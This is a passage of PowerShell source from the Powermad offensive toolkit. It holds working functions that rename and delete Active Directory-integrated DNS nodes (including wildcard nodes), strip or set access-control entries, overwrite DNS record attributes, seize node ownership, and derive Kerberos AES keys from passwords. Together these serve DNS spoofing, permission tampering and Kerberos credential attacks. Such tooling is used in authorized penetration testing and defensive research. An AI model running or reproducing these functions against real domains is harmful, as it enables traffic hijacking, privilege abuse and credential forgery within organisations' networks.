        Write-Verbose "[+] ADIDNS Zone = $Zone"
    }

    if(!$DistinguishedName)
    {
        
        if($Partition -eq 'System')
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
        }
        else
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
        }

        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = $DistinguishedName 
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {
        $directory_entry.Rename("DC=$NodeNew")
        Write-Output "[+] ADIDNS node $Node renamed to $NodeNew"
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

}

function Remove-ADIDNSNode
{
    <#
    .SYNOPSIS
    This function removes an ADIDNS node.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function can be used to remove an ADIDNS node. Note that the if the node has not been tombstoned and
    allowed to repliate to all domain controllers, the record will remain in DNS.

    .PARAMETER Credential
    PSCredential object that will be used to delete the ADIDNS node.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS zone. Do not include the node name.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Node
    The ADIDNS node name.

    .PARAMETER Partition
    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.

    .PARAMETER Zone
    The ADIDNS zone.

    .EXAMPLE
    Removes a wildcard node.
    Remove-ADIDNSNode -Node *

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$Node,
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain -or !$Zone)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Zone)
    {
        $Zone = $current_domain.Name
        Write-Verbose "[+] ADIDNS Zone = $Zone"
    }

    if(!$DistinguishedName)
    {
        
        if($Partition -eq 'System')
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
        }
        else
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
        }

        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = $DistinguishedName 
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {
        $directory_entry.psbase.DeleteTree()
        Write-Output "[+] ADIDNS node $Node removed"
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

}

function Revoke-ADIDNSPermission
{
    <#
    .SYNOPSIS
    This function removes an ACE to an ADIDNS node or zone DACL.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function is mainly for removing the ACE associated with the user that created the DNS node
    after adding an alternative ACE with Set-DNSPermission. Although this function will work on DNS zones,
    non-administrators will rarely have the ability to modify a DNS zone.

    .PARAMETER Access
    Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete,
    DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren,
    ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty.

    .PARAMETER Credential
    PSCredential object that will be used to modify the DACL.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS zone. Do not include the node name.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Node
    The ADIDNS node name.

    .PARAMETER Partition
    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.

    .PARAMETER Principal
    The ACE user or group.

    .PARAMETER Type
    Default = Allow: The ACE allow or deny access type.

    .PARAMETER Zone
    The ADIDNS zone.
    
    .EXAMPLE
    Remove the GenericAll ACE associated for the user1 account.
    Revoke-ADIDNSPermission -Node * -Principal user1 -Access GenericAll

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild",
        "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren",
        "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll",
        [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow",    
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$false)][String]$Node,
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
        [parameter(Mandatory=$false)][String]$Principal,
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain -or !$Zone)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Zone)
    {
        $Zone = $current_domain.Name
        Write-Verbose "[+] ADIDNS Zone = $Zone"
    }

    if(!$DistinguishedName)
    {

        if($Node)
        {

            if($Partition -eq 'System')
            {
                $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
            }
            else
            {
                $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
            }

        }
        else
        {

            if($Partition -eq 'System')
            {
                $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
            }
            else
            {
                $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
            }

        }

        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = $DistinguishedName 
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {
        $NT_account = New-Object System.Security.Principal.NTAccount($Principal)
        $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier])
        $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID
        $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access
        $access_control_type = [System.Security.AccessControl.AccessControlType]$Type
        $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All"
        $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance)
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
        throw
    }

    try
    {
        $directory_entry.psbase.ObjectSecurity.RemoveAccessRule($ACE) > $null
        $directory_entry.psbase.CommitChanges()
        Write-Output "[+] ACE removed for $Principal"
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

    return $output
}

function Set-ADIDNSNodeAttribute
{
    <#
    .SYNOPSIS
    This function can append, populate, or overwite values in an ADIDNS node attribute.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function can append, populate, or overwite values in an ADIDNS node attribute.

    .PARAMETER Append
    Switch: Appends a value rather than overwriting. This can be used to the dnsRecord attribute
    to create multiple DNS records of the same name for round robin, etc.

    .PARAMETER Attribute
    The ADIDNS node attribute.

    .PARAMETER Credential
    PSCredential object that will be used to modify the attribute.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS zone. Do not include the node name.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Node
    The ADIDNS node name.

    .PARAMETER Partition
    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.

    .PARAMETER Value
    The attribute value.

    .PARAMETER Zone
    The ADIDNS zone.

    .EXAMPLE
    Set the writable description attribute on a node named test.
    Set-ADIDNSNodeAttribute -Node test -Attribute description -Value "do not delete"

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$Attribute,
        [parameter(Mandatory=$true)][String]$Node,
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$true)]$Value,
        [parameter(Mandatory=$false)][Switch]$Append,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain -or !$Zone)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Zone)
    {
        $Zone = $current_domain.Name
        Write-Verbose "[+] ADIDNS Zone = $Zone"
    }

    if(!$DistinguishedName)
    {
        
        if($Partition -eq 'System')
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
        }
        else
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
        }

        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = "DC=$Node," + $DistinguishedName
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {

        if($Append)
        {
            $directory_entry.$Attribute.Add($Value) > $null
            $directory_entry.SetInfo()
            Write-Output "[+] ADIDNS node $Node $attribute attribute appended"
        }
        else
        {
            $directory_entry.InvokeSet($Attribute,$Value)
            $directory_entry.SetInfo()
            Write-Output "[+] ADIDNS node $Node $attribute attribute updated"
        }

    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

}

function Set-ADIDNSNodeOwner
{
    <#
    .SYNOPSIS
    This function can sets the owner of an ADIDNS Node.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function can sets the owner of an ADIDNS Node.

    .PARAMETER Attribute
    The ADIDNS node attribute.

    .PARAMETER Credential
    PSCredential object that will be used to read the attribute.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS zone. Do not include the node name.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Node
    The ADIDNS node name.

    .PARAMETER Partition
    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.

    .PARAMETER Principal
    The user or group that will be granted ownsership.

    .PARAMETER Zone
    The ADIDNS zone.

    .EXAMPLE
    Set the owner of a node named test to user1.
    Set-ADIDNSNodeOwner -Node test -Principal user1

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$Node,
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
        [parameter(Mandatory=$true)][String]$Principal,
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain -or !$Zone)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Zone)
    {
        $Zone = $current_domain.Name
        Write-Verbose "[+] ADIDNS Zone = $Zone"
    }

    if(!$DistinguishedName)
    {
       
        if($Partition -eq 'System')
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
        }
        else
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
        }

        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = "DC=$Node," + $DistinguishedName
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {
        $account = New-Object System.Security.Principal.NTAccount($Principal)
        $directory_entry.PsBase.ObjectSecurity.setowner($account)
        $directory_entry.PsBase.CommitChanges()

    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

    return $output
}

#endregion

#region begin Miscellaneous Functions

function Get-KerberosAESKey
{
    <#
    .SYNOPSIS
    Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The
    results have been verified against the test values in RFC3962, MS-KILE, and my own test lab.
    
    https://tools.ietf.org/html/rfc3962
    https://msdn.microsoft.com/library/cc233855.aspx

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause   

    .PARAMETER Password
    [String] Valid password.

    .PARAMETER Salt
    [String] Concatenated string containing the realm and username/hostname.
    AD username format = uppercase realm + case sensitive username (e.g., TEST.LOCALusername, TEST.LOCALAdministrator)
    AD hostname format = uppercase realm + the word host + lowercase hostname without the trailing '$' + . + lowercase
    realm (e.g., TEST.LOCALhostwks1.test.local)

    .PARAMETER Iteration
    [Integer] Default = 4096: Int value representing how many iterations of PBKDF2 will be performed. AD uses the
    default of 4096.
    
    .PARAMETER OutputType
    [String] Default = AES: (AES,AES128,AES256,AES128ByteArray,AES256ByteArray) AES, AES128, and AES256 will output strings.
    AES128Byte and AES256Byte will output byte arrays.

    .EXAMPLE
    Get-KerberosAESKey -Password password -Salt ATHENA.MIT.EDUraeburn -Iteration 1
    Verify results against first RFC3962 sample test vectors in section B.
    
    .EXAMPLE
    Get-KerberosAESKey -Salt TEST.LOCALuser
    Generate keys for a valid AD user.

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    ( 
        [parameter(Mandatory=$true)][String]$Salt,
        [parameter(Mandatory=$false)][System.Security.SecureString]$Password,
        [parameter(Mandatory=$false)][ValidateSet("AES","AES128","AES256","AES128ByteArray","AES256ByteArray")][String]$OutputType = "AES",
        [parameter(Mandatory=$false)][Int]$Iteration=4096
    )
    
    if(!$Password)
    {
        $password = Read-Host -Prompt "Enter password" -AsSecureString
    }

    $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password)
    $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR)
    
    [Byte[]]$password_bytes = [System.Text.Encoding]::UTF8.GetBytes($password_cleartext)
    [Byte[]]$salt_bytes = [System.Text.Encoding]::UTF8.GetBytes($Salt)
    $AES256_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93,0x5C,0x9B,0xDC,0xDA,0xD9,0x5C,0x98,0x99,0xC4,0xCA,0xE4,0xDE,0xE6,0xD6,0xCA,0xE4
    $AES128_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93
    $IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
    $PBKDF2 = New-Object Security.Cryptography.Rfc2898DeriveBytes($password_bytes,$salt_bytes,$iteration)
    $PBKDF2_AES256_key = $PBKDF2.GetBytes(32)
    $PBKDF2_AES128_key = $PBKDF2_AES256_key[0..15]
    $PBKDF2_AES256_key_string = ([System.BitConverter]::ToString($PBKDF2_AES256_key)) -replace "-",""
    $PBKDF2_AES128_key_string = ([System.BitConverter]::ToString($PBKDF2_AES128_key)) -replace "-",""
    Write-Verbose "PBKDF2 AES128 Key: $PBKDF2_AES128_key_string"
    Write-Verbose "PBKDF2 AES256 Key: $PBKDF2_AES256_key_string"
    $AES = New-Object "System.Security.Cryptography.AesManaged"
    $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $AES.Padding = [System.Security.Cryptography.PaddingMode]::None
    $AES.IV = $IV
    # AES 256
    $AES.KeySize = 256
    $AES.Key = $PBKDF2_AES256_key
    $AES_encryptor = $AES.CreateEncryptor()
    $AES256_key_part_1 = $AES_encryptor.TransformFinalBlock($AES256_constant,0,$AES256_constant.Length)
    $AES256_key_part_2 = $AES_encryptor.TransformFinalBlock($AES256_key_part_1,0,$AES256_key_part_1.Length)
    $AES256_key = $AES256_key_part_1[0..15] + $AES256_key_part_2[0..15]
    $AES256_key_string = ([System.BitConverter]::ToString($AES256_key)) -replace "-",""    
    # AES 128
    $AES.KeySize = 128
    $AES.Key = $PBKDF2_AES128_key
    $AES_encryptor = $AES.CreateEncryptor()
    $AES128_key = $AES_encryptor.TransformFinalBlock($AES128_constant,0,$AES128_constant.Length)
    $AES128_key_string = ([System.BitConverter]::ToString($AES128_key)) -replace "-",""
    Remove-Variable password_cleartext
    
    switch($OutputType)
    {
    
        'AES'
        {
            Write-Output "AES128 Key: $AES128_key_string"
            Write-Output "AES256 Key: $AES256_key_string"
        }
        
        'AES128'
        {
            Write-Output "$AES128_key_string"
        }
        
        'AES256'
        {
            Write-Output "$AES256_key_string"
        }
        
        'AES128ByteArray'
        {
            Write-Output $AES128_key
        }
        
        'AES256ByteArray'
        {
            Write-Output $AES256_key
        }
        
    }
    
}

#endregion